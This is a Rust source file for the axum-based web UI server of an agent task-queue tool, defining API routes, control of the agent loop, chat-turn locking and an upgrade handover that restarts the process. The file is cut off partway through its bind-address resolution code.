1use std::collections::{HashMap, HashSet};
95use std::convert::Infallible;
96use std::net::{IpAddr, Ipv4Addr, SocketAddr};
97use std::path::{Path as FsPath, PathBuf};
98use std::pin::Pin;
99use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
100use std::time::Duration;
101use tokio::sync::Notify;
102
103use anyhow::{Context, Result};
104use axum::Json;
105use axum::Router;
106use axum::body::Bytes;
107use axum::extract::rejection::JsonRejection;
108use axum::extract::{DefaultBodyLimit, Path, Query, State};
109use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
110use axum::response::sse::{Event, KeepAlive, Sse};
111use axum::response::{IntoResponse, Response};
112use axum::routing::{get, post, put};
113use jiff::Timestamp;
114use serde::{Deserialize, Serialize};
115use tokio_stream::StreamExt as _;
116use tokio_stream::wrappers::ReceiverStream;
117
118use crate::agent;
119use crate::ask::{self, Answer, Question, Questions};
120use crate::config::{AgentKind, Config, Update, UpdateMode};
121use crate::md;
122use crate::notices::{Notice, Notices};
123use crate::persona;
124use crate::proc::Quiet as _;
125use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
126use crate::run::{RunState, RunStatus};
127use crate::talk::{Talk, Talks};
128use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
129
130pub const DEFAULT_PORT: u16 = 7878;
132
133const POLL: Duration = Duration::from_secs(1);
135
136const KEEPALIVE: Duration = Duration::from_secs(15);
140
141const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
152
153const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
156
157const LIST_DEFAULT: usize = 50;
161const LIST_MAX: usize = 500;
163
164const TITLE_MAX: usize = 72;
166
167const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
176
177const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
183
184const FILENAME_HEADER: &str = "x-filename";
188
189const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
212 font-src data:; base-uri 'none'; form-action 'none'; \
213 frame-ancestors 'self'";
214
215const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
216const APP_CSS: &str = include_str!("../assets/ui/app.css");
217const APP_JS: &str = include_str!("../assets/ui/app.js");
218
219#[derive(Debug, Clone, Copy, PartialEq, Eq)]
221pub enum Bind {
222 Auto,
224 Addr(IpAddr),
226}
227
228impl std::str::FromStr for Bind {
229 type Err = String;
230
231 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
235 if s.eq_ignore_ascii_case("auto") {
236 return Ok(Self::Auto);
237 }
238 s.parse()
239 .map(Self::Addr)
240 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
241 }
242}
243
244impl std::fmt::Display for Bind {
245 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
246 match self {
247 Self::Auto => f.write_str("auto"),
248 Self::Addr(addr) => write!(f, "{addr}"),
249 }
250 }
251}
252
253#[derive(Debug, Clone)]
255pub struct Opts {
256 pub bind: Bind,
258 pub port: u16,
260 pub repo: PathBuf,
262 pub open: bool,
265 pub merge: Option<String>,
273}
274
275impl Default for Opts {
276 fn default() -> Self {
277 Self {
278 bind: Bind::Auto,
279 port: DEFAULT_PORT,
280 repo: PathBuf::from("."),
281 open: false,
282 merge: None,
283 }
284 }
285}
286
287#[derive(Debug, Clone)]
293pub struct Ui {
294 queue: Queue,
295 questions: Questions,
296 notices: Notices,
299 talks: Talks,
300 runs: PathBuf,
301 home: PathBuf,
302 repo: PathBuf,
303 worktrees_root: PathBuf,
310 talk_turns: Arc<Mutex<TalkTurns>>,
318 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
322 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
325 resuming: Arc<Mutex<HashSet<String>>>,
333 repos_cache: repos::Cache,
337 machine_config: Option<PathBuf>,
341 merge: Option<String>,
343 looping: Arc<Mutex<LoopState>>,
345 launch: Launch,
357 #[cfg(test)]
360 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
361}
362
363#[cfg(test)]
383struct BusyQueueGate {
384 reached: tokio::sync::oneshot::Sender<()>,
385 release: std::sync::mpsc::Receiver<()>,
386}
387
388#[cfg(test)]
389impl std::fmt::Debug for BusyQueueGate {
390 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
391 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
392 }
393}
394
395impl Ui {
396 pub fn new(
398 queue: Queue,
399 questions: Questions,
400 talks: Talks,
401 runs: PathBuf,
402 home: PathBuf,
403 repo: PathBuf,
404 ) -> Self {
405 Self {
406 queue,
407 questions,
408 notices: Notices::at(home.join("notifications")),
409 talks,
410 runs,
411 home,
412 repo,
413 worktrees_root: run::default_worktree_root(),
417 talk_turns: Arc::default(),
418 upgrade_gate: Arc::default(),
419 upgrade_spawned: Arc::default(),
420 resuming: Arc::default(),
421 repos_cache: repos::Cache::new(),
422 machine_config: Config::machine_layer(),
423 merge: None,
424 looping: Arc::default(),
425 launch: launch_daemon,
426 #[cfg(test)]
427 busy_queue_gate: Arc::default(),
428 }
429 }
430
431 pub fn open(repo: PathBuf) -> Self {
434 Self::new(
435 Queue::open(),
436 Questions::open(),
437 Talks::open(),
438 run::runs_root(),
439 run::home(),
440 repo,
441 )
442 }
443
444 #[must_use]
451 pub fn with_merge(mut self, merge: Option<String>) -> Self {
452 self.merge = merge;
453 self
454 }
455
456 #[cfg(test)]
459 #[must_use]
460 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
461 self.machine_config = path;
462 self
463 }
464
465 #[must_use]
470 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
471 self.worktrees_root = root;
472 self
473 }
474
475 #[cfg(test)]
480 #[must_use]
481 fn with_launch(mut self, launch: Launch) -> Self {
482 self.launch = launch;
483 self
484 }
485
486 #[cfg(test)]
496 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
497 *self
498 .busy_queue_gate
499 .lock()
500 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
501 }
502
503 fn looping(&self) -> Arc<Mutex<LoopState>> {
505 Arc::clone(&self.looping)
506 }
507
508 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
515 if let Some(other) = foreign {
516 return Err(ApiError::conflict(format!(
517 "{} is already running the loop, so this one will not start a \
518 second: two loops on one queue race for the same claims and \
519 burn the agent quota twice over. Stop it where it was \
520 started.",
521 other.who()
522 )));
523 }
524 let mut state = self.lock_loop();
525 if state.live.as_ref().is_some_and(Live::alive) {
526 return Err(ApiError::conflict(format!(
527 "this magi web process (pid {}) is already running the loop",
528 std::process::id()
529 )));
530 }
531
532 let stop = daemon::Stop::new();
533 let opts = daemon::Opts {
537 repo: self.repo.clone(),
538 merge: self.merge.clone(),
539 worktrees_root: Some(self.worktrees_root.clone()),
546 ..daemon::Opts::default()
547 };
548 let launch = self.launch;
549 let looping = Arc::clone(&self.looping);
550 let handle = tokio::spawn({
551 let opts = opts.clone();
552 let stop = stop.clone();
553 async move {
554 let failure = match launch(opts, stop).await {
555 Ok(()) => None,
556 Err(e) => Some(format!("{e:#}")),
557 };
558 match &failure {
559 Some(why) => tracing::error!("the loop stopped: {why}"),
560 None => tracing::info!("the loop stopped"),
561 }
562 let mut state = lock_or_recover(&looping);
568 state.live = None;
569 state.last_error = failure;
570 state.rev += 1;
571 }
572 });
573 tracing::info!(
574 "the loop is now running in this process: repo {}, merge {}",
575 opts.repo.display(),
576 opts.merge.as_deref().unwrap_or("as the config says")
577 );
578 state.live = Some(Live { stop, handle, opts });
579 state.last_error = None;
582 state.rev += 1;
583 Ok(())
584 }
585
586 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
592 if let Some(other) = foreign {
593 return Err(ApiError::conflict(format!(
594 "the loop belongs to {}, and this process cannot stop it - \
595 stop it where it was started. A button that silently did \
596 nothing would be worse than this refusal.",
597 other.who()
598 )));
599 }
600 let mut state = self.lock_loop();
601 if !park {
604 state.resume_after_handover = false;
605 }
606 let Some(live) = state.live.as_ref() else {
607 return Ok(());
608 };
609 if live.stop.stopped() && (!park || live.stop.parking()) {
613 return Ok(());
614 }
615 if park {
616 live.stop.park();
617 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
618 } else {
619 live.stop.stop();
620 tracing::info!("the loop was asked to stop; a run in flight is finished first");
621 }
622 state.rev += 1;
623 Ok(())
624 }
625
626 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
633 let state = self.lock_loop();
634 let live = state.live.as_ref().filter(|live| live.alive());
637 LoopView {
638 running: live.is_some(),
639 stopping: live.is_some_and(|live| live.stop.finishing()),
640 parking: live.is_some_and(|live| live.stop.parking()),
641 owned: live.is_some(),
642 repo: live
643 .map_or(&self.repo, |live| &live.opts.repo)
644 .display()
645 .to_string(),
646 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
647 last_error: state.last_error.clone(),
648 daemon: DaemonView::of(reading),
649 }
650 }
651
652 fn resume_after_handover(&self, resume: bool) -> bool {
658 if !resume {
659 return false;
660 }
661 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
662 match self.start_loop(foreign) {
663 Ok(()) => true,
664 Err(e) => {
665 let why = format!(
666 "the loop could not be resumed after the upgrade: {}",
667 e.message
668 );
669 tracing::warn!("{why}");
670 let mut state = self.lock_loop();
671 state.last_error = Some(why);
672 state.rev += 1;
673 false
674 }
675 }
676 }
677
678 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
680 lock_or_recover(&self.looping)
681 }
682
683 fn is_thinking(&self, id: &str) -> bool {
689 self.talk_turns
690 .lock()
691 .is_ok_and(|turns| turns.live.contains(id))
692 || self.talks.turn_held(id)
695 }
696
697 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
716 self.claim_talk_turn(id, false)
717 }
718
719 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
722 self.claim_talk_turn(id, true)
723 }
724
725 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
726 let mut live = self
727 .talk_turns
728 .lock()
729 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
730 if live.parking {
731 if queued {
732 *live.queued.entry(id.to_owned()).or_default() += 1;
735 return Ok(None);
736 }
737 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
738 }
739 let inserted = live.live.insert(id.to_owned());
740 let lease = if inserted {
744 match self.talks.claim_turn(id) {
745 Ok(Some(lease)) => Some(lease),
746 Ok(None) => {
747 live.live.remove(id);
748 None
749 }
750 Err(e) => {
751 live.live.remove(id);
752 return Err(ApiError::from(e));
753 }
754 }
755 } else {
756 None
757 };
758 if lease.is_none() {
759 if queued {
760 *live.queued.entry(id.to_owned()).or_default() += 1;
765 }
766 return Ok(None);
767 }
768 Ok(Some(TalkTurnGuard {
769 talk: id.to_owned(),
770 turns: Arc::clone(&self.talk_turns),
771 released: false,
772 lease,
773 }))
774 }
775
776 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
781 let mut live = self
782 .talk_turns
783 .lock()
784 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
785 if live.parking || live.live.contains(id) {
787 return Ok(TalkTurnStart::Busy);
788 }
789 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
790 return Ok(TalkTurnStart::Foreign);
791 };
792 let talk = self.talks.get(id).map_err(ApiError::from)?;
794 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
795 return Ok(TalkTurnStart::Pending);
796 }
797 live.live.insert(id.to_owned());
798 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
799 talk: id.to_owned(),
800 turns: Arc::clone(&self.talk_turns),
801 released: false,
802 lease: Some(lease),
803 }))
804 }
805
806 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
808 Arc::clone(&self.talk_turns)
809 }
810
811 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
818 let parking = {
819 let mut state = self.lock_loop();
820 let resume = state.resume_after_handover
830 || state
831 .live
832 .as_ref()
833 .is_some_and(|live| live.alive() && !live.stop.stopped());
834 state.resume_after_handover = resume;
835 let Some(live) = state.live.as_ref() else {
836 return Ok(None);
837 };
838 let busy = live.stop.busy_now();
839 live.stop.park();
840 state.rev += 1;
841 busy
842 };
843 Ok(if parking {
844 daemon::current_work(&self.home, jiff::Timestamp::now())
849 .into_iter()
850 .next()
851 .map(|c| c.run)
852 } else {
853 None
854 })
855 }
856
857 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
861 let mut live = self
862 .resuming
863 .lock()
864 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
865 if !live.insert(id.to_owned()) {
866 return Err(ApiError::conflict(format!(
867 "run {id} is already being resumed"
868 )));
869 }
870 Ok(ResumeGuard {
871 run: id.to_owned(),
872 resuming: Arc::clone(&self.resuming),
873 })
874 }
875
876 pub fn router(self) -> Router {
884 Router::new()
885 .route("/", get(index))
886 .route("/app.css", get(app_css))
887 .route("/app.js", get(app_js))
888 .route("/api/health", get(health))
889 .route("/api/loop", get(loop_get).post(loop_post))
890 .route("/api/upgrade", post(upgrade_post))
891 .route("/api/runs", get(runs_list))
892 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
893 .route("/api/runs/{id}/report", get(run_report))
894 .route("/api/runs/{id}/report.json", get(run_report_json))
895 .route("/api/runs/{id}/fold", post(run_fold))
896 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
897 .route("/api/runs/{id}/resume", post(run_resume))
898 .route("/api/queue", get(queue_list))
899 .route("/api/search", get(search_get))
900 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
901 .route("/api/stats", get(stats_get))
902 .route("/api/repos", get(repos_list))
903 .route("/api/settings", get(settings_get))
904 .route("/api/settings/roles", put(settings_put_roles))
905 .route("/api/queue/{id}/hold", post(queue_hold))
906 .route("/api/queue/{id}/release", post(queue_release))
907 .route("/api/queue/{id}/priority", post(queue_priority))
908 .route("/api/queue/{id}/edit", post(queue_edit))
909 .route("/api/queue/{id}/done", post(queue_done))
910 .route("/api/questions", get(questions_list))
911 .route("/api/questions/{id}/answer", post(question_answer))
912 .route("/api/questions/{id}/say", post(question_say))
913 .route("/api/questions/{id}/consult", post(question_consult))
914 .route("/api/questions/{id}/panel", get(question_panel))
915 .route("/api/questions/{id}/panel/index.html", get(question_panel))
923 .route("/api/questions/{id}/panel/{name}", get(question_asset))
924 .route("/api/questions/{id}/asset/{name}", get(question_asset))
925 .route("/api/notifications", get(notifications_list))
926 .route("/api/notifications/read-all", post(notifications_read_all))
927 .route("/api/notifications/{id}/read", post(notification_read))
928 .route(
929 "/api/notifications/{id}/dismiss",
930 post(notification_dismiss),
931 )
932 .route("/api/talks", get(talks_list).post(talk_post))
933 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
934 .route("/api/talks/{id}/say", post(talk_say))
935 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
936 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
937 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
938 .route("/api/talks/{id}/agent", post(talk_agent))
939 .route("/api/talks/{id}/persona", post(talk_persona))
940 .route("/api/talks/{id}/implementers", post(talk_implementers))
941 .route("/api/talks/{id}/close", post(talk_close))
942 .route("/api/talks/{id}/reopen", post(talk_reopen))
943 .route(
949 "/api/talks/{id}/attachments",
950 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
951 )
952 .route(
953 "/api/talks/{id}/attachments/{att}",
954 get(talk_attachment_get),
955 )
956 .route("/api/events", get(events))
957 .with_state(Arc::new(self))
958 }
959}
960
961const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
964
965#[derive(Debug)]
971struct TalkTurnGuard {
972 talk: String,
973 turns: Arc<Mutex<TalkTurns>>,
974 released: bool,
975 lease: Option<crate::talk::TurnLease>,
977}
978
979#[derive(Debug, Default)]
986struct TalkTurns {
987 live: HashSet<String>,
988 queued: HashMap<String, u64>,
989 parking: bool,
993}
994
995enum TalkTurnStart {
998 Claimed(TalkTurnGuard),
999 Busy,
1000 Foreign,
1003 Pending,
1004}
1005
1006impl TalkTurnGuard {
1007 fn owns(&self) -> bool {
1011 self.lease
1012 .as_ref()
1013 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1014 }
1015
1016 async fn respond(
1019 &self,
1020 talk: &mut Talk,
1021 talks: &Talks,
1022 cfg: &Config,
1023 text: &str,
1024 ) -> anyhow::Result<()> {
1025 let lease = self
1026 .lease
1027 .as_ref()
1028 .context("the turn guard no longer holds its lease")?;
1029 talk::respond(lease, talk, talks, cfg, text).await
1030 }
1031
1032 fn release(mut self, live: &mut TalkTurns) {
1035 self.lease = None;
1039 live.live.remove(&self.talk);
1040 live.queued.remove(&self.talk);
1041 self.released = true;
1042 }
1043}
1044
1045impl Drop for TalkTurnGuard {
1046 fn drop(&mut self) {
1047 if self.released {
1048 return;
1049 }
1050 drop(self.lease.take());
1052 if let Ok(mut live) = self.turns.lock() {
1053 live.live.remove(&self.talk);
1054 live.queued.remove(&self.talk);
1055 }
1056 }
1057}
1058
1059struct ResumeGuard {
1061 run: String,
1062 resuming: Arc<Mutex<HashSet<String>>>,
1063}
1064
1065impl Drop for ResumeGuard {
1066 fn drop(&mut self) {
1067 if let Ok(mut live) = self.resuming.lock() {
1068 live.remove(&self.run);
1069 }
1070 }
1071}
1072
1073async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1083 const WINDOW: Duration = Duration::from_secs(10);
1084 const GAP: Duration = Duration::from_millis(250);
1085
1086 let deadline = std::time::Instant::now() + WINDOW;
1087 let mut said = false;
1088 loop {
1089 match tokio::net::TcpListener::bind(socket).await {
1090 Ok(listener) => return Ok(listener),
1091 Err(e)
1092 if e.kind() == std::io::ErrorKind::AddrInUse
1093 && std::time::Instant::now() < deadline =>
1094 {
1095 if !said {
1096 said = true;
1097 tracing::info!(
1098 "{socket} is still held - waiting up to {}s for it, \
1099 which is what a restart looks like from here",
1100 WINDOW.as_secs()
1101 );
1102 }
1103 tokio::time::sleep(GAP).await;
1104 }
1105 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1106 }
1107 }
1108}
1109
1110static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1113
1114const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1116
1117fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1119 value.is_some_and(|v| v == "1")
1120}
1121
1122fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1145 let exe = std::env::current_exe().context("find this binary")?;
1146 let args: Vec<String> = std::env::args().skip(1).collect();
1147 updater::log_step(
1148 home,
1149 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1150 );
1151 let log_path = home.join(WEB_LOG);
1152 let open_log = || {
1153 std::fs::create_dir_all(home)?;
1154 std::fs::OpenOptions::new()
1155 .create(true)
1156 .append(true)
1157 .open(&log_path)
1158 };
1159 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1160 Ok(pair) => (
1161 std::process::Stdio::from(pair.0),
1162 std::process::Stdio::from(pair.1),
1163 ),
1164 Err(e) => {
1165 updater::log_warn(
1166 home,
1167 &format!(
1168 "could not open {}: {e}; the successor logs nowhere",
1169 log_path.display()
1170 ),
1171 );
1172 (std::process::Stdio::null(), std::process::Stdio::null())
1173 }
1174 };
1175
1176 let mut cmd = std::process::Command::new(&exe);
1177 if resume {
1178 cmd.env(RESUME_LOOP_ENV, "1");
1179 } else {
1180 cmd.env_remove(RESUME_LOOP_ENV);
1181 }
1182 cmd.args(&args)
1183 .stdin(std::process::Stdio::null())
1184 .stdout(out)
1185 .stderr(err);
1186 #[cfg(windows)]
1187 {
1188 use std::os::windows::process::CommandExt as _;
1189 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1192 }
1193 let child = cmd.spawn().context("start the successor")?;
1194 Ok(child.id())
1195}
1196
1197const WEB_LOG: &str = "web.log";
1199
1200async fn wait_for_handover(signal: &Notify) {
1204 signal.notified().await;
1205}
1206
1207pub async fn serve(opts: Opts) -> Result<()> {
1232 let (addr, warning) = resolve_bind(&opts.bind);
1233 if let Some(warning) = warning {
1234 tracing::warn!("{warning}");
1235 }
1236
1237 report::set_color(false);
1243
1244 let repo = normalize_default_repo(opts.repo).await;
1245 let ui = Ui::open(repo).with_merge(opts.merge);
1246 let home = ui.home.clone();
1251 let repo = ui.repo.clone();
1252 updater::reconcile_after_restart(&home);
1257 updater::log_step(
1258 &home,
1259 &format!(
1260 "web process started (version {}); handover log {}, successor output {}",
1261 env!("CARGO_PKG_VERSION"),
1262 updater::log_path(&home).display(),
1263 home.join(WEB_LOG).display()
1264 ),
1265 );
1266 updater::spawn_watchdog(home.clone());
1267 tokio::spawn(run_update_recheck(repo, home.clone()));
1276 let looping = ui.looping();
1277 let turns = ui.turns();
1278 let talk_store = ui.talks.clone();
1279 let socket = SocketAddr::new(addr, opts.port);
1280 let listener = bind_waiting(socket).await?;
1281 let url = format!("http://{addr}:{}", opts.port);
1282 tracing::info!(
1283 "magi web UI on {url} - there is no authentication, so anyone who can \
1284 reach this address can file and hold tasks: the tailnet is the \
1285 security boundary"
1286 );
1287 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1288 tracing::info!("resumed the loop the predecessor was running");
1289 } else {
1290 tracing::info!(
1291 "the queue loop is not running yet - start it from the UI, which is \
1292 the whole reason this process can: nothing in the queue moves until \
1293 something is running the loop"
1294 );
1295 }
1296 if opts.open {
1297 println!("{url}");
1301 }
1302
1303 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1306 let interrupted = async {
1307 if tokio::signal::ctrl_c().await.is_err() {
1308 std::future::pending::<()>().await;
1313 }
1314 };
1315 let handover = wait_for_handover(&HANDOVER);
1316 let outcome = tokio::select! {
1317 joined = &mut served => match joined {
1318 Ok(outcome) => outcome.context("serve the web UI"),
1319 Err(e) => Err(e).context("the task serving the web UI ended"),
1320 },
1321 () = interrupted => {
1322 tracing::info!("shutting down the web UI");
1323 finish_loop(&home, &looping, None).await;
1324 Ok(())
1325 }
1326 () = handover => {
1327 updater::log_step(&home, "serve: the select! woke on the handover signal");
1328 let successor_home = home.clone();
1329 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1330 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1331 spawn_successor(&successor_home, resume)
1332 })
1333 .await
1334 }
1335 };
1336 updater::log_step(
1337 &home,
1338 &match &outcome {
1339 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1340 Err(e) => format!("serve: returning an error: {e:#}"),
1341 },
1342 );
1343 outcome
1344}
1345
1346async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1367 if repo != FsPath::new(".") {
1368 return repo;
1369 }
1370 let Ok(canonical) = repo.canonicalize() else {
1371 return repo;
1372 };
1373 if git::toplevel(&canonical).await.is_ok() {
1374 return repo;
1375 }
1376 let Some(home) = dirs::home_dir() else {
1377 return repo;
1378 };
1379 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1380 Some(found) => {
1381 tracing::info!(
1382 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1383 canonical.display(),
1384 found.path.display(),
1385 found.reason,
1386 );
1387 found.path
1388 }
1389 None => repo,
1390 }
1391}
1392
1393async fn hand_over(
1423 home: &FsPath,
1424 looping: &Mutex<LoopState>,
1425 turns: &Arc<Mutex<TalkTurns>>,
1426 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1427 served: tokio::task::JoinHandle<std::io::Result<()>>,
1428 successor: impl FnOnce(bool) -> Result<u32>,
1429) -> Result<()> {
1430 updater::log_step(home, "hand_over: entered; writing the parking stage");
1431 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1435 if !recorded {
1436 updater::log_warn(
1437 home,
1438 "hand_over: upgrade.json is unreadable; no parking stage",
1439 );
1440 }
1441 finish_loop(home, looping, Some(&mut lease)).await;
1446 let parking = ParkingTurns::begin(turns);
1447 let talks_done = finish_talks(home, turns, talk_wait);
1448 tokio::pin!(talks_done);
1449 let mut beat = tokio::time::interval(LEASE_BEAT);
1450 let (abandoned, waited_for) = loop {
1451 tokio::select! {
1452 left = &mut talks_done => break left,
1453 _ = beat.tick() => lease.beat(),
1454 }
1455 };
1456 drop(lease);
1457 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1458 served.abort();
1459 let _ = served.await;
1460 updater::log_step(home, "hand_over: listener released");
1461 let resume = lock_or_recover(looping).resume_after_handover;
1464 match updater::read_progress(home) {
1465 Some(mut progress) => {
1466 progress.advance(updater::Stage::Restarting);
1467 if !abandoned.is_empty() {
1468 progress.detail = Some(format!(
1469 "handed over while {} still running after {} s",
1470 updater::talks_phrase(&abandoned),
1471 waited_for.as_secs()
1472 ));
1473 }
1474 updater::write_progress_logged(home, &progress);
1475 }
1476 None => updater::log_warn(
1477 home,
1478 "hand_over: upgrade.json is unreadable; no restarting stage",
1479 ),
1480 }
1481 updater::log_step(
1482 home,
1483 &format!("hand_over: starting the successor (resume={resume})"),
1484 );
1485 drop(parking);
1486 match successor(resume) {
1487 Ok(pid) => {
1488 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1489 Ok(())
1490 }
1491 Err(e) => {
1492 updater::log_warn(
1493 home,
1494 &format!("hand_over: the successor did not start: {e:#}"),
1495 );
1496 Err(e)
1497 }
1498 }
1499}
1500
1501const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1504
1505const TALK_POLL: Duration = Duration::from_millis(250);
1507
1508fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1511 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1512}
1513
1514fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1519 let default = Config::default().graph.timeout_talk;
1520 let longest = ids
1521 .iter()
1522 .map(|id| {
1523 talks
1524 .get(id)
1525 .ok()
1526 .and_then(|t| Config::discover(&t.repo, None).ok())
1527 .map_or(default, |(c, _)| c.graph.timeout_talk)
1528 })
1529 .max()
1530 .unwrap_or(default);
1531 talk_wait_bound(longest)
1532}
1533
1534struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1538
1539impl ParkingTurns {
1540 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1541 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1542 Self(Arc::clone(turns))
1543 }
1544}
1545
1546impl Drop for ParkingTurns {
1547 fn drop(&mut self) {
1548 self.0
1549 .lock()
1550 .unwrap_or_else(PoisonError::into_inner)
1551 .parking = false;
1552 }
1553}
1554
1555async fn finish_talks(
1560 home: &FsPath,
1561 turns: &Mutex<TalkTurns>,
1562 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1563) -> (Vec<String>, Duration) {
1564 let running = || {
1565 let mut ids: Vec<String> = turns
1566 .lock()
1567 .unwrap_or_else(PoisonError::into_inner)
1568 .live
1569 .iter()
1570 .cloned()
1571 .collect();
1572 ids.sort();
1573 ids
1574 };
1575 let started = std::time::Instant::now();
1576 let mut seen = Vec::new();
1577 let mut bound = Duration::ZERO;
1578 loop {
1579 let ids = running();
1580 if ids != seen {
1581 bound = bound.max(bound_for(&ids));
1582 if ids.is_empty() {
1583 updater::log_step(home, "finish_talks: no chat turn is running");
1584 } else {
1585 updater::log_step(
1586 home,
1587 &format!(
1588 "finish_talks: waiting for {} to finish",
1589 updater::talks_phrase(&ids)
1590 ),
1591 );
1592 }
1593 updater::set_parked_talks(home, &ids);
1594 seen = ids;
1595 }
1596 if seen.is_empty() {
1597 return (Vec::new(), bound);
1598 }
1599 if started.elapsed() >= bound {
1600 updater::log_warn(
1601 home,
1602 &format!(
1603 "finish_talks: {} still running after {} s; handing over anyway",
1604 updater::talks_phrase(&seen),
1605 bound.as_secs()
1606 ),
1607 );
1608 return (seen, bound);
1609 }
1610 tokio::time::sleep(TALK_POLL).await;
1611 }
1612}
1613
1614const LEASE_BEAT: Duration = Duration::from_secs(20);
1617
1618async fn finish_loop(
1625 home: &FsPath,
1626 state: &Mutex<LoopState>,
1627 mut lease: Option<&mut updater::LeaseGuard>,
1628) {
1629 let live = lock_or_recover(state).live.take();
1630 let Some(live) = live else {
1631 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1632 return;
1633 };
1634 live.stop.stop();
1635 lock_or_recover(state).rev += 1;
1636 updater::log_step(
1637 home,
1638 "finish_loop: waiting for the loop to finish the run in flight",
1639 );
1640 let waited = std::time::Instant::now();
1641 let mut handle = live.handle;
1644 let mut beat = tokio::time::interval(LEASE_BEAT);
1645 loop {
1646 tokio::select! {
1647 _ = &mut handle => break,
1648 _ = beat.tick() => {
1649 if let Some(lease) = lease.as_deref_mut() {
1650 lease.beat();
1651 }
1652 }
1653 }
1654 }
1655 updater::log_step(
1656 home,
1657 &format!(
1658 "finish_loop: the loop ended after {:.1}s",
1659 waited.elapsed().as_secs_f32()
1660 ),
1661 );
1662}
1663
1664pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1670 match bind {
1671 Bind::Addr(addr) => (*addr, None),
1672 Bind::Auto => match tailscale_ip() {
1673 Ok(ip) => (IpAddr::V4(ip), None),
1674 Err(why) => (
1675 IpAddr::V4(Ipv4Addr::LOCALHOST),
1676 Some(format!(
